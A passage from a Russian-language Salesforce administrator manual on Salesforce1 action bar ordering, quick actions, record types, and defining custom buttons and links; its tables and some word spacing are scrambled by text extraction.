другого элемента списка.

Список элементов не отображает те же действия, которые доступнына панели действий при просмотре текущей записи.
Опираясьна вышеописанныйпример, когдапользовательпросматривает записьпотенциальногоклиента вприложении
Salesforce1, действия на панели действий оказывают влияние на действия в разделе «Действия Salesforce1 и Lightning
Experience» на макете страницы для потенциального клиента. Однако когда пользователь посещает организацию, он
открывает список связанных снейпотенциальных клиентовипроводитпальцем влево к элементу списка, отображаемые
действия появляются из списка предопределенных для потенциальных клиентов действий. См. раздел «Порядок
отображения предопределенных действий на панели действий приложения Salesforce1 и в действиях над элементом
списка» для детализации предопределенных действий по каждому объекту.

СМ. ТАКЖЕ:

Панель действий приложения Salesforce1

Порядок отображения действий на панели действий приложения Salesforce1

Рекомендации по панели действий приложения Salesforce1
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Порядок отображения действий на панели действий приложения Salesforce1

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Раздел «Действия Salesforce1 и Lightning Experience» макета страницы и глобального
макета публикатора определяет действия, отображаемые на панели действий в
приложении Salesforce1. Кроме того, данный раздел позволяет настраивать порядок
отображения быстрыхипродуктивных действий, а также стандартныхинастраиваемых
кнопок, доступных в качестве действий.

Если вынастроилираздел «Действия Salesforce1и Lightning Experience» макета, Salesforce1
отражает ваши настройки.

Есливынастроилидействиявразделе «БыстрыедействиявпубликатореSalesforce Classic»,
но не настраиваете раздел панели действий, панель действий Salesforce1 наследует
быстрые действия из раздела «Быстрые действия в публикаторе Salesforce Classic».

Если настройка разделов не выполняется, то панель действий отображает стандартный
набор действий, предопределенных системой Salesforce. Разные объекты используют
разныенаборыдействий (наосновенаиболеераспространенныхилитипичныхдействий,
необходимых для каждого объекта).

СМ. ТАКЖЕ:

Порядок отображения предопределенных действий на панели действий приложения Salesforce1 и в действиях над
элементом списка

Панель действий приложения Salesforce1

Рекомендации по панели действий приложения Salesforce1

Порядок отображения предопределенных действий на панели действий приложения Salesforce1 и в действиях
над элементом списка

Макеты страниц организации и макеты публикатора определяют порядок отображения действий на панели действий
Salesforce1 и в действиях над элементом списка. Если настройка действий на панели действий для макета страницы или
глобального макета публикатора не выполняется, то место отображения основных действий определяется системой
Salesforce.

Важное замечание: Данная схема предопределенного порядка отображения применяется только при отсутствии
настроенного раздела действий Salesforce1 и Lightning Experience макета страницы объекта или глобального макета
публикатора.

При отсутствии настроенной панели действий Salesforce1 быстрые действия в предопределенном наборе определяются
действиями в разделе «Быстрые действия в публикаторе» Salesforce Classic макета страницы связанного объекта или
глобального макета публикатора.

Для макетов страниц объектов, если панель действий Salesforce1 не настроена:
Если раздел «Быстрые действия в публикаторе Salesforce Classic» настроен, данные настройки наследуются быстрыми
действиями на панели действий.

Если разделы не настроены, то быстрые действия на панели действий наследуются из раздела «Быстрые действия в
публикаторе Salesforce Classic» глобального макета публикатора.

Для глобальных макетов публикатора, если панель действий Salesforce1 не настроена:
Если раздел «Быстрые действия в публикаторе Salesforce Classic» настроен, данные настройки наследуются быстрыми
действиями на панели действий.
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Если разделы не настроены, то быстрые действия на панели действий для глобальных страниц по умолчанию
определяются системой Salesforce.

Предопределенные действия, доступные на панели действий, в действиях над элементом списка и в связанных меню
действий, делятсяна группы. Порядокотображенияданныхгруппявляетсяфиксированным, однакопорядокотображения
действий внутри групп может определяться используемым объектом и действиями, доступными в глобальном макете
публикатора или макете страницы объекта. Некоторые объекты или страницы отображают не все группы.

Таблица ниже описывает действия, доступные в каждой группе, для каждого объекта или страницы.

Группа
действий 6

Группа
действий 5

Группа
действий 4

Группа
действий 3

Группа
действий 2

Группа
действий 1

Объект или
страница

«Просмотр
веб-сайта»

Оставшиеся
стандартные

Настраиваемые
кнопки,

Оставшиеся
быстрые

5. «Правка»1. «Вызов»; 2.
«Создать

Организация

(если полекнопки,поддерживаемыедействия иззадачу»; 3.
«Веб-сайт»
заполнено)

поддерживаемые
приложением
Salesforce1,

приложением
Salesforce1,
порядок

раздела
«Быстрые
действия в

«Создать
событие»; 4.
«Сообщение»

порядокотображенияпубликаторе
отображениякоторыхSalesforce
которыхопределяетсяClassic». Если
определяетсямакетом

страницы.*
раздел не
настроен, то
оставшиеся

макетом
страницы.

быстрые
действия на
наследуютсяиз
раздела
«Быстрые
действия в
публикаторе
Salesforce
Classic»
глобального
макета
публикатора.

Оставшиеся
стандартные

Настраиваемые
кнопки,

Оставшиеся
быстрые

5.
Редактирование

Первые три
быстрых
действия,

Обращение

кнопки,поддерживаемыедействия из
порядок поддерживаемыеприложениемраздела
отображения приложениемSalesforce1,

порядок
«Быстрые
действия вкоторых Salesforce1,

порядокотображенияпубликатореопределяется
отображениякоторыхSalesforceмакетом
которыхопределяетсяClassic». Еслистраницы; 4.

«Сообщение» определяется
макетом
страницы.

макетом
страницы.*

раздел не
настроен, то
оставшиеся
быстрые
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Группа
действий 6

Группа
действий 5

Группа
действий 4

Группа
действий 3

Группа
действий 2

Группа
действий 1

Объект или
страница

действия на
наследуютсяиз
раздела
«Быстрые
действия в
публикаторе
Salesforce
Classic»
глобального
макета
публикатора.

Оставшиеся
стандартные

Настраиваемые
кнопки,

Оставшиеся
быстрые

4. «Правка»1. «Вызов»; 2.
«Создать

Контакт

кнопки,поддерживаемыедействия иззадачу»; 3.
поддерживаемыеприложениемраздела«Создать

событие» приложением
Salesforce1,

Salesforce1,
порядок

«Быстрые
действия в

порядокотображенияпубликаторе
отображениякоторыхSalesforce
которыхопределяетсяClassic». Если
определяетсямакетом

страницы.*
раздел не
настроен, то
оставшиеся

макетом
страницы.

быстрые
действия на
наследуютсяиз
раздела
«Быстрые
действия в
публикаторе
Salesforce
Classic»
глобального
макета
публикатора.

Оставшиеся
стандартные

Настраиваемые
кнопки,

Оставшиеся
быстрые

5. «Правка»Первые четыре
действия,

Настраиваемый
объект

кнопки,поддерживаемыедействия изпорядок
поддерживаемыеприложениемразделаотображения
приложениемSalesforce1,

порядок
«Быстрые
действия в

которых
определяется Salesforce1,

порядокотображенияпубликаторемакетом
страницы. отображения

которых
которых
определяется

Salesforce
Classic». Если

определяется
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Группа
действий 6

Группа
действий 5

Группа
действий 4

Группа
действий 3

Группа
действий 2

Группа
действий 1

Объект или
страница

макетом
страницы.

макетом
страницы.*

раздел не
настроен, то
оставшиеся
быстрые
действия на
наследуютсяиз
раздела
«Быстрые
действия в
публикаторе
Salesforce
Classic»
глобального
макета
публикатора.

«Правка»,
«Удалить»

Быстрые
действия,
порядок

Событие

отображения
которых
определяется
макетом.
Стандартные
действия Chatter
не
поддерживаются.

Быстрые
действия,

Лента

порядок
отображения
которых
определяется
глобальным
макетом
публикатора.

«Выйти из
группы»

«Правка»Оставшиеся
быстрые
действия,

Первые четыре
действия,
порядок

Группа

порядокотображения
отображениякоторых
которыхопределяется
определяетсяглобальным
глобальныммакетом

публикатора.
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Группа
действий 6

Группа
действий 5

Группа
действий 4

Группа
действий 3

Группа
действий 2

Группа
действий 1

Объект или
страница

макетом
публикатора.

«Вызов»,
«Отправка эл.
почты»

Оставшиеся
стандартные
кнопки,
поддерживаемые

Настраиваемые
кнопки,
поддерживаемые
приложением

Оставшиеся
быстрые
действия из
раздела

4. «Правка»1. «Записать
вызов в
журнал»; 2.
«Создать

Интерес

приложениемSalesforce1,
порядок

«Быстрые
действия в

задачу»; 3.
«Преобразовать» Salesforce1,

порядокотображенияпубликаторе(при
отображениякоторыхSalesforceвключении); 4.

«Сообщение» которых
определяется

определяется
макетом
страницы.*

Classic». Если
раздел не
настроен, то
оставшиеся

макетом
страницы.

быстрые
действия на
наследуютсяиз
раздела
«Быстрые
действия в
публикаторе
Salesforce
Classic»
глобального
макета
публикатора.

Действия,
порядок

Страница
Lightning

отображения
которых
определяется
страницей
Lightning.

1.
«Фильтровать»;

Списковое
представление

2.
«Сортировать»;
3. «Создать»

1. «Создать»; 2.
«Сортировать»

Начальная
страница
объекта (только
для
планшетных
компьютеров)
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Группа
действий 6

Группа
действий 5

Группа
действий 4

Группа
действий 3

Группа
действий 2

Группа
действий 1

Объект или
страница

Оставшиеся
стандартные

Настраиваемые
кнопки,

Оставшиеся
быстрые

5. «Правка»1. «Записать
вызов в

Возможность

кнопки,поддерживаемыедействия изжурнал»; 2.
поддерживаемыеприложениемраздела«Создать
приложениемSalesforce1,

порядок
«Быстрые
действия в

задачу»; 3.
«Создать Salesforce1,

порядокотображенияпубликаторесобытие»; 4.
«Сообщение» отображения

которых
которых
определяется

Salesforce
Classic». Если

определяетсямакетом
страницы.*

раздел не
настроен, то
оставшиеся

макетом
страницы.

быстрые
действия на
наследуютсяиз
раздела
«Быстрые
действия в
публикаторе
Salesforce
Classic»
глобального
макета
публикатора.

Оставшиеся
стандартные

Настраиваемые
кнопки,

Оставшиеся
действия,

4.
Редактирование

1. «Вызов»; 2.
«Отправка эл.
почты»; 3.
«Сообщение»

Люди

кнопки,
поддерживаемые
приложением

поддерживаемые
приложением
Salesforce1,
порядок

порядок
отображения
которых
определяется Salesforce1,

порядокотображенияглобальным
отображениякоторыхмакетом

публикатора. которых
определяется

определяется
макетом
страницы.* макетом

страницы.

«Карта»,
«Читать

Оставшиеся
стандартные

Настраиваемые
кнопки,

Оставшиеся
быстрые

5.
Редактирование

1. «Вызов»; 2.
«Отправка эл.
почты»; 3.

Организация-лицо

новости»,кнопки,поддерживаемыедействия из
«Создать «Просмотр

веб-сайта»
поддерживаемые
приложением
Salesforce1,

приложением
Salesforce1,
порядок

раздела
«Быстрые
действия в

задачу»; 4.
«Создать
событие» порядок

отображения
отображения
которых

публикаторе
Salesforce

которыхопределяетсяClassic». Если
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Группа
действий 6

Группа
действий 5

Группа
действий 4

Группа
действий 3

Группа
действий 2

Группа
действий 1

Объект или
страница

раздел не
настроен, то

определяется
макетом
страницы.

макетом
страницы.*

оставшиеся
быстрые
действия
наследуютсяиз
раздела
«Быстрые
действия в
публикаторе
Salesforce
Classic»
глобального
макета
публикатора.

1. «Создать»Связанный
список (для
стандартных
объектов)

1. «Создать»; 2.
«Сортировать»

Результаты
поиска

Быстрые
действия,

Salesforce Today:
основная
страница порядок

отображения
которых
определяется
глобальным
макетом
публикатора.

Оставшиеся
быстрые

1. «Быстрое
сообщение»; 2.

Salesforce Today:
событие
мобильного
календаря

действия из
раздела
«Быстрые

«Подключиться
к
конференц-связи»;
3. «Карта» действия в

публикаторе
Salesforce
Classic». Если
раздел не
настроен, то
оставшиеся
быстрые
действия
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Группа
действий 6

Группа
действий 5

Группа
действий 4

Группа
действий 3

Группа
действий 2

Группа
действий 1

Объект или
страница

наследуютсяиз
раздела
«Быстрые
действия в
публикаторе
Salesforce
Classic»
глобального
макета
публикатора.

Оставшиеся
стандартные

Настраиваемые
кнопки,

Оставшиеся
быстрые

5. «Правка»1.
«Редактировать
комментарии»;

Задача

кнопки,поддерживаемыедействия из
2. «Изменить поддерживаемыеприложениемраздела
дату»; 3. приложениемSalesforce1,

порядок
«Быстрые
действия в«Изменить

статус»; 4.
Salesforce1,
порядокотображенияпубликаторе

«Изменить
приоритет»

отображения
которых
определяется

которых
определяется
макетом
страницы.*

Salesforce
Classic». Если
раздел не
настроен, то
оставшиеся

макетом
страницы.

быстрые
действия
наследуютсяиз
раздела
«Быстрые
действия в
публикаторе
Salesforce
Classic»
глобального
макета
публикатора.
Стандартные
действия Chatter
не
поддерживаются.

Обратите внимание, что место отображения некоторых действий является фиксированным. Нумерованные списки,
доступные в некоторых разделах таблицы, определяют фиксированный порядок отображения действий на панели
действий, в действиях над элементом списка и в соответствующих меню действий.
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Например, прииспользованииобъекта «Организация» стандартноедействиеChatterпоимени «Сообщение» отображается
четвертым. Данное место отображения является фиксированным. Даже при добавлении действия «Сообщение» в макет
страницы организации, данное действие всегда отображается четвертым.

Темнеменее, система всегда учитывает удалениедействий. Так, приудалениидействия «Сообщение» измакета страницы
организации оставшиеся действия перемещаются выше, поэтому действие «Правка» отображается четвертым.
* Приложение Salesforce1 не поддерживает настраиваемые кнопки, добавляемые в раздел «Кнопки» макета страницы и
использующие URL-адрес или страницу Visualforce в качестве источника содержимого. Помните, что страницы
Visualforceмогутиспользоваться вприложении Salesforce1 толькопосле включенияихподдержки.Настраиваемые ссылки,
настраиваемые кнопки, добавленные в списковые представления, и настраиваемые кнопки, определяющие источник
содержимого как «OnClick JavaScript», не поддерживаются в приложении Salesforce1.

СМ. ТАКЖЕ:

Порядок отображения действий на панели действий приложения Salesforce1

Панель действий приложения Salesforce1

Рекомендации по панели действий приложения Salesforce1

Рекомендации по панели действий приложения Salesforce1

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

• Продуктивное действие отображается только для записи, содержащей
соответствующуюинформацию. Например, действие «Отправкаэл. почты» доступно
для записи, содержащей адрес эл. почты. Действие «Просмотр веб-сайта» доступно
для записи, содержащей URL-адрес веб-сайта.

• При использовании типов записей некоторые быстрые действия могут быть
недоступныпользователям. Дополнительнуюинформациюсм. в разделе «Быстрые
действия и типы записей» на странице 5382.

• В отличие от редактора макетов страниц, отображающего мобильные
интеллектуальныедействиякак единыйэлемент, приложениеSalesforce1отображает
элемент «Мобильные интеллектуальные действия» как отдельные действия. Если
есть элемент «Мобильныеинтеллектуальныедействия» вразделе «Быстрыедействия
в публикаторе» Salesforce Classic, и затем вы настраиваете раздел панели действий,
действия в приложении Salesforce1 выводятся из настроек панели действий. В этом
случаеэлемент «Мобильныеинтеллектуальныедействия» вразделе «Быстрыедействия
в публикаторе»Salesforce Classic становится несущественным.

• Чтобы настроить действия на панели действий приложения Salesforce1 для стандартных и настраиваемых объектов,
переопределите предопределенные действия. Затем добавьте или удалите действия из раздела Salesforce1 иДействия
Lightning Experience .

Например, чтобы переместить действия «Присоединиться к группе», «Редактировать группу» и «Выйти из группы»
для групп в приложении Salesforce1, переопределите предопределенные действия в макете страницы «Группы».

• Настройка панели действий в макете организации-лица невозможна.

СМ. ТАКЖЕ:

Порядок отображения действий на панели действий приложения Salesforce1

Порядок отображения предопределенных действий на панели действий приложения Salesforce1 и в действиях над
элементом списка

5381

Действия, настраиваемые кнопки и ссылкиРасширение Salesforce посредством интерактивных
инструментов



Быстрые действия и типы записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Быстрые действия доступны
в версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Настраиваемые действия
холста доступны в версиях:
Professional Edition (при
использовании Force.com
Canvas), Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Использование типов записей в организации может влиять на доступность быстрых
действий для пользователей.

Еслипользователинеимеютдоступак конкретномутипу записей, тоназначенныеэтому
типу записей действия им не доступны. Например, организация использует макет
страницы, содержащий набор действий (без назначенного типа записи и назначенные
типу записи «А»). При отсутствии доступа к типу записи «А» пользователям,
открывающимсоответствующуюстраницу, будут отображаться тольконеназначенные
действия.

Важное замечание: Не рекомендуем назначать действия основному типу записи.
Основной тип записи — это временный тип записи, назначаемый при создании
организации.

Стандартные глобальные действия: особый случай

При наличии стандартных глобальных действий использование типов записей может
препятствоватьотображениювсехстандартныхдействий, назначенныхмакетустраницы.

Стандартные глобальные действия назначаются основному типу записи, который
недоступен большинству профилей. Как результат, стандартные глобальные действия
сосновнымтипомзаписи, связанныесцелевымиобъектами, которыеимеютнастроенные
типы записей, большинству пользователей не доступны. Чтобы исправить данную
ошибку, отредактируйте стандартные глобальные действия, связанные с данными
объектами, и переназначьте их другому типу записи.

Например, стандартное глобальное действие «Создать контакт» использует объект
«Контакт» в качестве целевого. Допустим, у вас есть типы записей, настроенные для объекта «Контакт», и вы добавляете
к макету страницы стандартный глобальный объект «Создать контакт». Пользователи, которые обратятся к записям на
основе этогомакета страницы, не увидят действия «Создать контакт», потомучто это действиеназначеноосновному типу
записи по умолчанию. Редактирование стандартного глобального действия «Создать контакт» и его назначение любому
типу записи, кроме основного, сделает его недоступным для тех пользователей, которые имеют доступ к назначенному
типу записи.
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Рекомендации по использованию действий

ВЕРСИИ

Действия, доступные в
версиях: Salesforce Classic
и Lightning Experience

Публикатор, доступный в
версиях: Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Чтобы упростить процесс использования и управления действиями, воспользуйтесь
перечисленными ниже советами по настройке.

Советы по созданию действий

• Метки действий длиноюболее 12-14 символов отображаются в публикаторе Chatter
усеченными. Обратите внимание, что имена должны быть краткими, но
описательными.

• Рекомендуем назначать действиям имена, соответствующиепоставленным задачам.
Подобныйэффектдостигаетсязасчетиспользованиятерминов (например, «Создать»,
«Опубликовать», «Обновить» или «Импортировать»).

• Чтобы создать личные примечания к каждому действию, воспользуйтесь полем
«Описание». Например, примечания позволяют различать схожие действия,
созданные для разных типов записей. Описание отображается в списке кнопок,
ссылок и действий для объектных действий или в списке глобальных действий, а
также на странице сведений о действии. Личные примечания недоступны другим
пользователям.

• Присозданиинастраиваемыхдействий, которые должныотображаться в публикатореChatter, помните, что действия,
высота которых превышает 400 пикселов, могут отображаться некорректно.

Советы по созданию макетов действий

• Принастройкемакетовдействийрекомендуемопределитьсодержимое, котороедолжнобытьдоступнопользователям.
Количествополейдолжнобытьминимальным. Рекомендуемдобавлять толькополя, которыемогутбытьнеобходимы
пользователям, а также ответственным за обработку обращений, вызовов или записей, созданных в результате
выполнения данных действий.

• Чтобысоздатьодностолбцовыймакет (например, дляотображениянамобильныхустройствах), добавьтеполятолько
в левый столбец.

• Чтобы задать стандартные значения для общих полей, воспользуйтесь предопределенными значениями поля.
Например, принастройкедействия, позволяющегопользователямсоздавать возможности, задайтепредопределенное
значение «Поискпотенциальныхклиентов» полю «Этап». Данныйэтапбудет автоматическиназначаться всемновым
возможностям, создаваемым посредством данного действия. При необходимости удалите поле «Этап» из макета
действия ввиду автоматическогоназначения значения данномуполю.Поля записейобъекта, созданныхпосредством
данного действия, которые содержат предопределенные значения, могут не добавляться в макет действия.

• Чтобы открыть макет действия для предварительного просмотра, нажмите кнопку «Предварительный просмотр
как…» в редакторе макетов действий.

Советы по добавлению действий в публикаторы

• Рекомендуем добавлять не более девяти действий, включая стандартные действия, в каждый публикатор, так как
добавление большого количества действий может снизить скорость загрузки страницы.

• В полной версии системы Salesforce: при добавлении пяти или более действий публикатор отображает только три
действия, а остальныедобавляются вменюпубликатора «Дополнительно». Придобавлениименеечетырехдействий
публикатор отображает все действия.
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• В приложении Salesforce1: первые четыре действия отображаются на панели действий, а полный набор действий

доступен посредством значка .

СМ. ТАКЖЕ:

Устранение неполадок при использовании действий

Настройка действий при включенной поддержке Chatter

Устранение неполадок при использовании действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Ленты не отображаются на страницах сведений о записях для некоторых
объектов.

Ленты отображаются только после включения функции отслеживания ленты для
соответствующего объекта.

Лента отображается на странице сведений о записи, но не содержит
публикатора.

Еслидействияотсутствуютвразделе «БыстрыедействиявпубликатореSalesforce Classic»
макета страницы, топубликатор Salesforce Classicнеотображается. Добавьте какминимум
одно действие в макет страницы для отображения публикатора.

Созданные действия не могут быть добавлены в публикаторы.

Чтобыдобавитьнестандартныедействия впубликаторы Salesforce Classic, рекомендуемвключитьдействия впубликаторе.

Обозреватель Internet Explorer 10 отображает все созданные действия публикатора (даже действия для разных
типов объектов) одним значком.

Обозреватель Internet Explorer 10 не поддерживает методики, используемые системой Salesforce для отображения значков,
которые соответствуют типу объекта, связанному с действием. Рекомендуем использовать обозреватель Chrome, Firefox,
Safari или более раннюю версию Internet Explorer.

Действие, добавленное в макет страницы, недоступно пользователю, профиль которого использует данный
макет страницы.

Убедитесь в наличии полномочий «Чтение» и «Редактирование» для поля взаимосвязи действия. Поле взаимосвязи —
это поле целевого объекта, заполняемое автоматически при создании записи посредством действия. Например, поле
взаимосвязи «Родительское обращение» является стандартным для действия, позволяющего пользователям создавать
дочерниеобращения. Действиесозданиядочернегообращениядоступнопользователямтолькоприналичииполномочий
«Чтение» и «Редактирование» для поля «Родительское обращение».

Мои глобальные действия создания не содержат поля взаимосвязи.

Поля взаимосвязи применяются только к объектным действиям создания.
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Некоторые действия не отображаются в моих группах Chatter.

Доступныедействияопределяютсярольюпользователяв группе, типомгруппыиспособомнастройкимакетапубликатора
для групп. Группы Chatter, которые не содержат клиентов, отображают глобальный макет публикатора, выбранный по
умолчанию, кромеслучаев егопереопределенияпосредствомнастраиваемогомакетапубликатора группы. ГруппыChatter,
поддерживающие доступ клиентов, отображают только стандартные действия публикатора (например, «Сообщение»,
«Файл», «Ссылка» и «Опрос»).

СМ. ТАКЖЕ:

Рекомендации по использованию действий

Настройка действий при включенной поддержке Chatter

Настраиваемые кнопки и ссылки

Общие сведения о настраиваемых кнопках и ссылках

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок:
• «Настройка

приложения»

Настраиваемые кнопки и ссылки позволяют объединить данные Salesforce с внешними
URL-адресами, приложениями, внутрикорпоративной сетью и другими серверными
системами.

Ниже перечислены типы настраиваемых ссылок и кнопок, поддерживаемые системой
Salesforce.

Страница настройки, на которое
выполняется конфигурирование

Тип настраиваемой ссылки или
кнопки

Компоненты начальной страницыСсылки-закладки, заданныев стандартном
компоненте начальной страницы
«Настраиваемые ссылки»

Настраиваемые ссылкиПолнофункциональные настраиваемые
ссылки, добавленные в настраиваемые
компоненты начальной страницы

Кнопки, ссылки и действия (в настройках
управления объектом)

Полнофункциональные настраиваемые
ссылки или кнопки для объектов

Настраиваемые ссылки могут ссылаться на:

• Внешний URL-адрес (например, www.google.com или внутрикорпоративная сеть).

• Настраиваемый элемент S-Control в библиотеке настраиваемых элементов S-Control (например, приложение Java или
элемент управления Active-X).

Настраиваемые кнопки могут:

• Устанавливать связь с внешнимиприложениями (например, веб-страница, отображающая карту с адресом контакта).

• Запускать элемент S-Control избиблиотекиэлементов S-Control (например, элемент S-Control, расширяющийобращения
на странице сведений об обращении).

• Запускать настраиваемые ссылки.
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Настраиваемые ссылки и кнопки позволяют выбирать параметры окна, определяющие способ отображения объекта
ссылки или кнопки на странице. Настраиваемые ссылки и элементы S-Control могут содержать поля Salesforce в качестве
маркеров внутри URL-адресов или настраиваемых элементов S-Control. Например, URL-адрес, используемый для поиска
на веб-узле Yahoo, может быть дополнен именем организации:
http://search.yahoo.com/bin/search?p={!Account_Name}.

Принеобходимостипереопределитестандартныедействиянекоторыхстандартныхкнопокинастройте алгоритмработы
начальных страниц вкладок.

Прим.: Нижеперечислены условия, при которых веб-вкладка илинастраиваемая ссылка может отображать пустую
страницу.

• Настройки внедренного сайта отклоняют загрузку содержимого в рамке.

• Настройки внедренного сайта разрешают загрузку содержимого в рамке (только при доставке содержимого тем
же сайтом).

• Внедренный сайт использует безопасное и небезопасное содержимое, а настройки обозревателя пользователя
блокируют отображение смешанного активного содержимого.

Ниже перечислены рекомендуемые временные решения.

• Разрешите настраиваемой ссылке открытие в новом окне или отображение в текущем окне без боковой панели
или верхнего колонтитула.

• Добавьте URL-адрес веб-вкладки в настраиваемую ссылку и разрешите URL-адресу открытие в новом окне или
отображение в текущем окне без боковой панели или верхнего колонтитула.

• Есливнедряемыйсайтиспользуетпрефикс HTTP исмешанноеактивноесодержимое, изменитетекущийпрефикс
на HTTPS. Есливнедренныйсайтиспользуетдопустимыйсертификатбезопасностииподдерживаетотображение
содержимого в рамках, то изменение префикса должно способствовать отображению сайта.

СМ. ТАКЖЕ:

Определение настраиваемых кнопок и ссылок

Добавление стандартных настраиваемых ссылок

Полезные советы для администраторов: создание настраиваемых ссылок Salesforce

Настройка макетов вкладки «Начальная страница»
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Определение настраиваемых кнопок и ссылок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии.

Страницы Visualforce и
элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок:
• «Настройка

приложения»

Определите действие, выполняемое пользователем при нажатии на настраиваемую
кнопку или ссылку. Настраиваемые кнопки и ссылки могут использоваться для
организациидействийв системе Salesforceилиинтеграцииданных Salesforce во внешние
URL-адреса, приложения и системы.

Чтобы открывать настраиваемую страницу или другой код при нажатии кнопки или
ссылки, воспользуйтесь страницей Visualforce.

1. Откройтепараметрыуправлениядляобъекта, длякоторогонужнодобавитьдействие,
перейдите на страницу «Кнопки, ссылки и действия».

Прим.: Настраиваемые кнопки недоступны для объекта «Пользователи» и
настраиваемыхначальныхстраниц. Настраиваемыекнопкииссылкидоступны
длядействийприиспользованииотдельныхпараметров управляемогообъекта
для настройки задач и событий. Чтобыизменить стандартнуюкнопку, которая
используется и для задач, и для событий, откройте параметры управляемого
объекта для действий.

2. Нажмитекнопку«Создатькнопкуилиссылку». Чтобыдобавитьпредопределенную
настраиваемую ссылку, щелкните «Стандартные настраиваемые ссылки».

3. Введите атрибуты кнопки или ссылки.

На рисунке показан пример атрибутов кнопки, которая осуществляет поиск
организации по имени:

4. Чтобы проверить все поля слияния и функции Salesforce, нажмите кнопку «Проверка синтаксиса».
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5. Позавершениинажмитекнопку«Сохранить». Чтобысохранитьвнесенныеизмененияипродолжитьредактирование,
нажмите кнопку «Быстрое сохранение». При сохранении проверяется введенный URL-адрес, если параметру
«Источник содержимого» задано значение «URL-адрес».

6. Чтобыоткрыть кнопку или ссылку посредствомпараметров, кроме стандартныхпараметров обозревателя, щелкните
«Свойства открытия окна» на странице сведений о кнопке или ссылке.

7. Измените макет страницы соответствующего объекта или макет поиска для отображения новой кнопки или ссылки.

Настраиваемыессылкипользователяавтоматическидобавляютсявраздел «Настраиваемыессылки» страницысведений
о пользователе. Кнопки страницы сведений могут быть добавлены только в раздел «Кнопки» макета страницы.

8. Чтобыпросмотреть все ссылкинановуюкнопкуилиссылку, щелкните «Гдеэтоиспользуется?»на соответствующей
странице сведений.

Прим.: Размер URL-адреса ссылки не может превышать 2048 байт. При замене данных для маркеров URL-адреса
размерссылкиможетпревышать 3 000 байт. Внекоторыхбраузерахприменяютсяограничениямаксимальнойдлины
URL-адреса.

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами

Рекомендации по использованию настраиваемых кнопок

Примеры настраиваемых кнопок и ссылок

Поля настраиваемых кнопок и ссылок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии, кроме
Database.com Edition.

Страницы Visualforce и
элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

В этой таблице определены поля, доступные при создании настраиваемой кнопки или
ссылки.

ОписаниеИмя атрибута

Введите текст, отображаемыйвпользовательскоминтерфейседля
настраиваемой кнопки или ссылки.

Метка

Используйте предложенное или введите уникальное имя для
кнопкиилиссылкиприобращениикнейизобъединенногополя.
Данное имя должно быть уникальным и может содержать только
буквы, цифрыисимволыподчеркивания. Имядолжноначинаться
с буквы; не может содержать пробелов и двух последовательных
символов подчеркивания, а также не может заканчиваться
символом подчеркивания.

Имя

Введите уникальный префикс пакета. Префикс пространства
имен — это 15-значный код, состоящий из букв и цифр, который
отличаетпакети его содержимоеотпакетовдругихразработчиков
AppExchange. Префиксы пространства имен нечувствительны к
регистру. Например, префиксы ABC и abc считаютсяодинаковыми.

Префикс
пространства имен

Префикспространстваимендолженбыть глобальноуникальным
во всех организациях Salesforce. Префикс пространства имен
позволяет контролировать управляемый пакет только
соответствующему пользователю.
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ОписаниеИмя атрибута

Настройте ограничение использования в организации подписчика (не обязательно).
Защищенные компоненты не могут быть связаны или использоваться компонентами,

Защищенный компонент

созданнымиворганизацииподписчика. Разработчикможетудалитьзащищенныйкомпонент
в будущем выпуске. Удаление не влияет на процесс установки пакета. Компонент,
помеченный как незащищенный и доступный всем пользователям, не может быть удален.

Введите текст, чтобы отличать кнопку или ссылку от других элементов. Данный текст
отображается только администраторам при настройке кнопок и ссылок.

Описание

Данный атрибут определяет область отображения кнопки или ссылки в макетах страниц.

Ссылка страницы сведений
Добавить ссылку в раздел настраиваемых ссылок макетов страниц.

Тип отображения

Кнопка страницы сведений
Добавить настраиваемую кнопку на страницу сведений записи. Кнопки страницы
сведений могут быть добавлены в раздел «Кнопки» макета страниц.

Кнопка списка
Добавить настраиваемую кнопку в списковое представление, макет результатов поиска
или связанный список. Кнопки списка могут быть добавлены в раздел «Связанный
список» макета страниц или макеты списковых представлений и результатов поиска.

ДлякнопоксписковсистемаSalesforce автоматическиустанавливаетфлажок «Отображать
флажки (для выбора нескольких записей)», чтобы добавитьфлажки рядом со всеми
записями списка. Пользователи могут выбирать необходимые записи для применения
к действиям с помощью этой кнопки. Если настраиваемая кнопка не требует выбора
записей пользователем, снимите этот флажок.

Выберите результат нажатия кнопки или ссылки.

Некоторые параметры могут содержать значения по умолчанию. Например, значение
«Отобразить в новом окне» использует стандартную высоту нового окна, равную
